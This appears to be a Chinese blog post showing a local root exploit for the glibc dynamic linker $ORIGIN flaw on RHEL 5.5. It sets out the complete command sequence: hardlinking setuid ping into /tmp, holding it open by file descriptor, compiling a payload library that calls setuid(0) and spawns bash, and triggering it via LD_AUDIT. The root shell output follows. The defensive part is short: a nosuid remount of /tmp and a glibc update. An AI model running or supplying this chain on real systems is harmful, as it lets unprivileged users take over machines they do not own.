Linux gcc++漏洞:普通用户获得root权限

企鹅博客 2019年7月13日09:37:37 发表评论 91 views

Linux gcc++漏洞:普通用户获得root权限,已经在RHEL5.5 32上测试过

原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path

1、创建一个普通测试用户:
[root@   ~]# useradd test
[root@   ~]# passwd test
Changing password for user test.
New UNIX password:
BAD PASSWORD: it is too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

2、切换到这个用户:
[root@   ~]# su - test
[test@   ~]$ whoami
test
[test@   ~]$ useradd user1
-bash: useradd: command not found

3、开始提权
[test@   ~]$ mkdir /tmp/exploit
[test@   ~]$ ln /bin/ping /tmp/exploit/target
[test@   ~]$ exec 3< /tmp/exploit/target
[test@   ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target
[test@   ~]$ rm -rf /tmp/exploit/
[test@   ~]$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 08-07 17:43 /proc/5922/fd/3 -> /tmp/exploit/target (deleted)
[test@   ~]$ cat > payload.c
----------------------------------------
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
----------------------------------------
[test@   ~]$ cat payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[test@   ~]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[test@   ~]$ ls -l /tmp/exploit
-rwxrwxr-x 1 test test 4223 08-07 17:43 /tmp/exploit
[test@   ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

4、权限验证:
[root@   ~]# whoami
root
[root@   ~]# useradd user1
[root@   ~]# useradd user2
[root@   ~]# ls /home/
test  user1  user2
[root@   ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

大家看到提权后的结果了,作为运维工程师遇到这类问题,就需要提供解决方法了!

有两种解决办法:
1、绑定目录
nosuid的原理:像/etc/passwd这种文件,本来只有root用户有权限修改,但是用户本身也可以修改自己的密码(超出它本身权限的行为)nosuid可以停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它严加控制。

mount -o bind /tmp /tmp
mount -o remount,bind,nosuid /tmp /tmp

2、更新glibc版本(红帽官方推荐)
yum -y update glibc

希望看到此文章的运维同事们能够及时的更新软件及补丁。

推荐阅读:

Linux C编写木马程序盗取root用户密码 http:///Linux/2013-08/88428.htm

研究人员发现至今最先进的 Android 木马 http:///Linux/2013-06/85618.htm

Linux 下一木马程序分享 http:///Linux/2013-03/81168.htm

除非注明,否则均为@企鹅博客原创文章,转载必须以链接形式标明本文链接

本文链接:https://www.qieseo.com/153130.html

weinxin
欢迎加入中国SEO站长博客之家
本站的所有资源都会上传分享到博客之家,希望大家互相学习交流进步。
企鹅博客

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: